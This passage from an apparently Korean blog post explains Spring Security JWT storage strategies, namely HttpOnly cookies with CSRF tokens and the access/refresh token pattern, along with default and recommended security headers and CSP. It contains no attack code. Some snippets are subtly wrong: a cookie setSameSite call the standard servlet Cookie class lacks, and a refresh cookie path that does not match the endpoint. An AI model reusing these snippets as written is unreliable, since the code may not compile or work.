│HttpOnly Cookie│         │  REST API   │
│ token: JWT  │  ────>  │             │
│(JS 접근 불가)│          │ CSRF 검증   │
└─────────────┘          └─────────────┘
      +
┌─────────────┐
│ CSRF Token  │
│ (헤더/폼)    │
└─────────────┘

Spring Security 설정:

// SecurityConfig.java
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
        // ✅ CSRF 활성화 (쿠키 사용하므로)
        .csrf(Customizer.withDefaults())

        // 세션은 미사용 (JWT로 인증)
        .sessionManagement(session -> session
            .sessionCreationPolicy(SessionCreationPolicy.STATELESS)
        )

        // JWT 필터 추가 (커스텀 구현 필요)
        .addFilterBefore(jwtAuthenticationFilter(), UsernamePasswordAuthenticationFilter.class);

    return http.build();
}

백엔드 - JWT를 HttpOnly Cookie로 발급:

// AuthController.java
@PostMapping("/login")
public ResponseEntity<?> login(
    @RequestBody LoginRequest request,
    HttpServletResponse response
) {
    // 인증 수행
    Authentication auth = authenticationManager.authenticate(
        new UsernamePasswordAuthenticationToken(
            request.getUsername(),
            request.getPassword()
        )
    );

    // JWT 생성
    String jwt = jwtService.generateToken(auth.getName());

    // HttpOnly Cookie로 JWT 전송
    Cookie cookie = new Cookie("token", jwt);
    cookie.setHttpOnly(true);   // ✅ JavaScript 접근 불가 (XSS 방어)
    cookie.setSecure(true);     // ✅ HTTPS만 전송
    cookie.setPath("/");
    cookie.setMaxAge(3600);     // 1시간
    cookie.setSameSite("Strict");  // CSRF 추가 방어

    response.addCookie(cookie);

    return ResponseEntity.ok(new LoginResponse("로그인 성공"));
}

프론트엔드 - CSRF 토큰 포함:

// API 호출 시 CSRF 토큰 추가
const transferMoney = async (to, amount) => {
    // CSRF 토큰 가져오기 (메타 태그 또는 별도 API)
    const csrfToken = document.querySelector('meta[name="_csrf"]').content;

    await fetch('https://api.example.com/transfer', {
        method: 'POST',
        credentials: 'include',  // 쿠키 자동 전송
        headers: {
            'X-CSRF-TOKEN': csrfToken,  // CSRF 토큰 추가
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ to, amount })
    });
};

장점:

  • ✅ XSS 방어 강력 (HttpOnly)
  • ✅ 토큰 탈취 어려움

단점:

  • ❌ CSRF 토큰 구현 필요
  • ❌ 구현 복잡도 증가
  • ❌ 모바일 앱에서 쿠키 관리 어려움

JWT 보안 전략 3: Refresh Token 패턴 (프로덕션 권장)

실무에서 가장 많이 사용하는 보안 패턴

  • Access Token (짧은 만료 시간) + Refresh Token (긴 만료 시간)
  • Access Token 탈취 피해 최소화

구조:

┌─────────────────────────────────────────────┐
│ 1. 로그인                                    │
├─────────────────────────────────────────────┤
│ POST /login                                 │
│ { username, password }                      │
│                                             │
│ 응답:                                        │
│ - Access Token: 15분 만료 (LocalStorage)   │
│ - Refresh Token: 7일 만료 (HttpOnly Cookie)│
└─────────────────────────────────────────────┘

┌─────────────────────────────────────────────┐
│ 2. API 호출                                  │
├─────────────────────────────────────────────┤
│ GET /api/account                            │
│ Authorization: Bearer <Access Token>        │
│                                             │
│ Access Token 유효 → 정상 응답               │
└─────────────────────────────────────────────┘

┌─────────────────────────────────────────────┐
│ 3. Access Token 만료 시                      │
├─────────────────────────────────────────────┤
│ GET /api/account                            │
│ Authorization: Bearer <만료된 Access Token> │
│                                             │
│ 응답: 401 Unauthorized                      │
│                                             │
│ → 자동으로 토큰 갱신 요청                     │
│ POST /refresh                               │
│ Cookie: refresh_token=...                   │
│                                             │
│ 응답: 새로운 Access Token                   │
│ → 재시도                                     │
└─────────────────────────────────────────────┘

백엔드 구현:

// AuthController.java
@PostMapping("/login")
public ResponseEntity<?> login(
    @RequestBody LoginRequest request,
    HttpServletResponse response
) {
    Authentication auth = authenticate(request);

    // Access Token (15분) - JSON으로 전송
    String accessToken = jwtService.generateAccessToken(auth.getName());

    // Refresh Token (7일) - HttpOnly Cookie로 전송
    String refreshToken = jwtService.generateRefreshToken(auth.getName());

    Cookie cookie = new Cookie("refresh_token", refreshToken);
    cookie.setHttpOnly(true);   // XSS 방어
    cookie.setSecure(true);
    cookie.setPath("/api/refresh");  // refresh 엔드포인트에서만 전송
    cookie.setMaxAge(7 * 24 * 3600);  // 7일

    response.addCookie(cookie);

    return ResponseEntity.ok(new LoginResponse(accessToken));
}

@PostMapping("/refresh")
public ResponseEntity<?> refresh(
    @CookieValue("refresh_token") String refreshToken
) {
    // Refresh Token 검증
    if (!jwtService.validateToken(refreshToken)) {
        return ResponseEntity.status(401).body("재로그인 필요");
    }

    String username = jwtService.getUsernameFromToken(refreshToken);

    // 새로운 Access Token 발급
    String newAccessToken = jwtService.generateAccessToken(username);

    return ResponseEntity.ok(new RefreshResponse(newAccessToken));
}

프론트엔드 구현 (Axios Interceptor):

// axios 설정
const api = axios.create({
    baseURL: 'https://api.example.com',
});

// 요청 인터셉터: Access Token 자동 추가
api.interceptors.request.use(config => {
    const token = localStorage.getItem('access_token');
    if (token) {
        config.headers.Authorization = `Bearer ${token}`;
    }
    return config;
});

// 응답 인터셉터: 401 시 자동 토큰 갱신
api.interceptors.response.use(
    response => response,  // 정상 응답
    async error => {
        const originalRequest = error.config;

        // 401 에러 && 재시도 아닌 경우
        if (error.response?.status === 401 && !originalRequest._retry) {
            originalRequest._retry = true;

            try {
                // Refresh Token으로 새 Access Token 요청
                const { data } = await axios.post('/api/refresh', {}, {
                    withCredentials: true  // Refresh Token 쿠키 전송
                });

                // 새로운 Access Token 저장
                localStorage.setItem('access_token', data.accessToken);

                // 원래 요청 재시도
                originalRequest.headers.Authorization = `Bearer ${data.accessToken}`;
                return api(originalRequest);

            } catch (refreshError) {
                // Refresh Token도 만료 → 로그아웃
                localStorage.removeItem('access_token');
                window.location.href = '/login';
                return Promise.reject(refreshError);
            }
        }

        return Promise.reject(error);
    }
);

// 사용 예시
const fetchAccount = async () => {
    try {
        const response = await api.get('/api/account');
        // Access Token 만료 시 자동으로 갱신 후 재시도됨
        console.log(response.data);
    } catch (error) {
        console.error('계정 조회 실패', error);
    }
};

장점:

  • ✅ Access Token 탈취 피해 최소화 (15분 만료)
  • ✅ Refresh Token은 HttpOnly Cookie (XSS 방어)
  • ✅ 사용자 경험 좋음 (자동 갱신)
  • ✅ 서버에서 Refresh Token 무효화 가능 (강제 로그아웃)

단점:

  • ❌ 구현 복잡도 높음
  • ❌ 토큰 두 개 관리 필요

실무 권장사항

프로젝트 타입별 권장 전략

1. 일반 웹사이트 (SSR + Thymeleaf)

// 전통적인 세션 방식 사용
http
    .csrf(Customizer.withDefaults())
    .formLogin(Customizer.withDefaults());
  • 세션 + CSRF 토큰 (Spring Security 기본)
  • 구현 간단, 검증됨

2. SPA + REST API (프론트엔드 분리)

// Refresh Token 패턴 사용
http
    .csrf(csrf -> csrf.disable())
    .sessionManagement(session -> session
        .sessionCreationPolicy(SessionCreationPolicy.STATELESS)
    );
  • Access Token (LocalStorage) + Refresh Token (HttpOnly Cookie)
  • CSP 강력하게 설정

3. 모바일 앱 + REST API

// 순수 JWT (LocalStorage 대신 앱 보안 저장소)
http
    .csrf(csrf -> csrf.disable())
    .sessionManagement(session -> session
        .sessionCreationPolicy(SessionCreationPolicy.STATELESS)
    );
  • JWT만 사용 (쿠키 없음)
  • 앱 보안 저장소 사용 (Android Keystore, iOS Keychain)

4. 높은 보안 요구 (금융, 의료)

// HttpOnly Cookie + CSRF + 짧은 만료 시간
http
    .csrf(Customizer.withDefaults())
    .sessionManagement(session -> session
        .sessionCreationPolicy(SessionCreationPolicy.STATELESS)
    );
  • JWT를 HttpOnly Cookie로 전송
  • CSRF 토큰 필수
  • Access Token 5분 만료

JWT 보안 체크리스트

JWT 사용 시 반드시 확인해야 할 보안 사항

토큰 저장

  • LocalStorage 사용 시 CSP 설정했는가?
  • HttpOnly Cookie 사용 시 CSRF 토큰 구현했는가?
  • Secure 플래그 설정했는가? (HTTPS)
  • SameSite 속성 설정했는가?

토큰 만료

  • Access Token 만료 시간이 적절한가? (15분 권장)
  • Refresh Token 만료 시간이 적절한가? (7일 권장)
  • 만료된 토큰 자동 갱신 로직이 있는가?

XSS 방어

  • Content-Security-Policy 설정했는가?
  • 사용자 입력 검증/이스케이프 처리했는가?
  • DOMPurify 같은 라이브러리 사용하는가?

토큰 무효화

  • 로그아웃 시 토큰 무효화 로직이 있는가?
  • 서버 측 Refresh Token 블랙리스트 관리하는가?
  • 비밀번호 변경 시 모든 토큰 무효화하는가?

기타

  • JWT 서명 알고리즘이 안전한가? (HS256/RS256)
  • Secret Key가 충분히 복잡한가? (32자 이상)
  • Secret Key를 환경변수로 관리하는가?
  • HTTPS를 사용하는가? (토큰 전송 암호화)

JWT vs 세션 쿠키 최종 비교

항목세션 쿠키JWT (LocalStorage)JWT (HttpOnly Cookie + Refresh)
CSRF🔴 위험✅ 안전🔴 위험 (CSRF 토큰 필요)
XSS✅ 안전🔴 매우 위험✅ 안전
세션 고정🔴 위험✅ 해당 없음✅ 해당 없음
서버 확장성❌ 낮음 (세션 공유 필요)✅ 높음 (Stateless)✅ 높음 (Stateless)
구현 난이도✅ 쉬움✅ 쉬움🔴 어려움
토큰 무효화✅ 쉬움❌ 불가능✅ 가능 (Refresh Token)
모바일 앱❌ 어려움✅ 쉬움✅ 쉬움
권장 사용SSR 웹사이트⚠️ 비권장 (XSS 위험)✅ SPA/API (권장)

📊 전체 요약

Spring Security 6.x 실제 기본 보안 헤더

공식 문서 기준 기본 헤더

Spring Security가 자동으로 추가하는 헤더 목록입니다.

# 캐시 제어 (기본 활성화)
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0

# Content-Type 스니핑 방지 (기본 활성화)
X-Content-Type-Options: nosniff

# Clickjacking 방어 (기본 활성화)
X-Frame-Options: DENY

# HTTPS 강제 (HTTPS 환경에서만 자동 추가)
Strict-Transport-Security: max-age=31536000 ; includeSubDomains

기본으로 활성화되지 않는 헤더:

  • X-XSS-Protection (Spring Security 6.x에서 기본 비활성화)
  • Content-Security-Policy (수동 설정 필요)
  • Permissions-Policy (수동 설정 필요)
  • Referrer-Policy (수동 설정 필요)

참고: Spring Security Default Headers


권장 보안 헤더 설정 (프로덕션)

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
        .headers(headers -> headers
            // 1. 기본 헤더 활성화 (생략 가능 - 자동 활성화됨)
            .cacheControl(Customizer.withDefaults())
            .contentTypeOptions(Customizer.withDefaults())
            .frameOptions(frame -> frame.deny())
            .httpStrictTransportSecurity(hsts -> hsts
                .maxAgeInSeconds(31536000)
                .includeSubDomains(true)
            )

            // 2. XSS 방어 - CSP (수동 설정 필요)
            .contentSecurityPolicy(csp -> csp
                .policyDirectives(
                    "default-src 'self'; " +
                    "script-src 'self' https://cdn.jsdelivr.net; " +
                    "style-src 'self' 'unsafe-inline'; " +
                    "img-src 'self' data: https:; " +
                    "font-src 'self' data:; " +
                    "connect-src 'self' https://api.example.com; " +
                    "frame-ancestors 'none'"  // Clickjacking 방어 강화
                )
            )

            // 3. Referrer Policy (수동 설정 필요)
            .referrerPolicy(referrer -> referrer
                .policy(ReferrerPolicyHeaderWriter.ReferrerPolicy.STRICT_ORIGIN_WHEN_CROSS_ORIGIN)
            )

            // 4. Permissions Policy (수동 설정 필요)
            .permissionsPolicy(permissions -> permissions
                .policy("geolocation=(), microphone=(), camera=()")
            )
        );

    return http.build();
}

4가지 보안 공격 비교표

공격 유형실생활 비유공격 조건Spring Security 방어기본 활성화JWT 사용 시
CSRF도용된 서명쿠키 기반 인증 사용 시CSRF 토큰 검증✅ (Form 로그인)✅ 해결 (Authorization 헤더 사용 시)
세션 고정열쇠 바꿔치기로그인 시 세션 ID 재사용로그인 시 세션 ID 변경✅ 해결 (세션 미사용)
XSS독 쿠키사용자 입력 검증 미흡CSP (수동 설정)🔴 더 위험 (LocalStorage 사용 시)
Clickjacking투명 레이어iframe 포함 허용X-Frame-Options: DENY- (변화 없음)

설정별 보안 수준

보안 수준별 권장 설정

Level 1: 개발 환경 (HTTP)

http
    .csrf(csrf -> csrf.disable())  // 개발 편의
    .headers(headers -> headers
        .frameOptions(frame -> frame.sameOrigin())
        .httpStrictTransportSecurity(hsts -> hsts.disable())  // HTTP 환경
    );

Level 2: 표준 (일반 웹사이트, HTTPS)

http
    .csrf(Customizer.withDefaults())  // CSRF 활성화
    .headers(Customizer.withDefaults())  // 기본 헤더
    .headers(headers -> headers
        .contentSecurityPolicy(csp -> csp
            .policyDirectives("default-src 'self'; script-src 'self'")
        )
    );

Level 3: 강화 (금융/의료, HTTPS)

http
    .csrf(Customizer.withDefaults())
    .headers(headers -> headers
        .frameOptions(frame -> frame.deny())
        .contentSecurityPolicy(csp -> csp
            .policyDirectives(
                "default-src 'self'; " +
                "script-src 'self'; " +
                "object-src 'none'; " +
                "frame-ancestors 'none'"
            )
        )
        .httpStrictTransportSecurity(hsts -> hsts
            .maxAgeInSeconds(31536000)
            .includeSubDomains(true)
            .preload(true)
        )
        .permissionsPolicy(permissions -> permissions
            .policy("geolocation=(), microphone=(), camera=()")
        )
    );

공식 문서 참고 링크

Spring Security 공식 문서 (필수)

보안 표준

CSP 도구


핵심 정리

꼭 기억해야 할 6가지

  1. CSRF는 "쿠키 기반 인증"에서만 위험

    • 완전한 stateless JWT API: 비활성화 가능
    • 세션 쿠키 사용 시: 반드시 활성화
  2. X-XSS-Protection은 deprecated

    • Spring Security 6.x: 기본 비활성화
    • 현대적 방어: Content-Security-Policy (CSP)
  3. HSTS는 HTTPS 전용

    • HTTP 개발 환경: .hsts().disable()
    • HTTPS 운영 환경: 기본 활성화
  4. 기본 보안 헤더는 4가지

    • Cache-Control, X-Content-Type-Options
    • X-Frame-Options, HSTS (HTTPS만)
    • CSP, Permissions-Policy는 수동 설정
  5. JWT는 은탄환이 아니다

    • LocalStorage 저장: CSRF 해결, XSS 더 위험
    • HttpOnly Cookie 저장: XSS 해결, CSRF 위험
    • 권장: Access Token (LocalStorage) + Refresh Token (HttpOnly Cookie)
  6. 다층 방어 (Defense in Depth)

    • 하나의 헤더만으로는 부족
    • 백엔드 + 프론트엔드 모두 검증
    • 입력 검증 + 출력 이스케이프 + CSP
profile
어제의 나보다 한걸음 더

0개의 댓글